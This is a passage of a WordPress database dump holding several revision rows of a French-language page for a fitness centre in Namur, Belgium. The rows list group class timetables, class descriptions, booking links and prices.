target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 08:10:52', '2014-08-31 08:10:52', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(449, 1, '2014-08-31 08:08:03', '2014-08-31 08:08:03', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;15h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;16h30&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 08:08:03', '2014-08-31 08:08:03', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(452, 1, '2014-08-31 08:29:17', '2014-08-31 08:29:17', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;15h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;td class=\&quot;tpsychomot\&quot;&gt;Psychomotricité&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;Cardio&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX/Cardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Bootcamp&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 08:29:17', '2014-08-31 08:29:17', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(495, 3, '2015-09-02 17:04:28', '2015-09-02 17:04:28', '&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/nouvelles-seances-CT.png\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-494\&quot; alt=\&quot;nouvelles seances CT\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/nouvelles-seances-CT.png\&quot; width=\&quot;900\&quot; height=\&quot;635\&quot; /&gt;&lt;/a&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2015-09-02 17:04:28', '2015-09-02 17:04:28', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(455, 1, '2014-08-31 08:41:03', '2014-08-31 08:41:03', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;15h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tpsychomot\&quot;&gt;Psychomotricité&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: 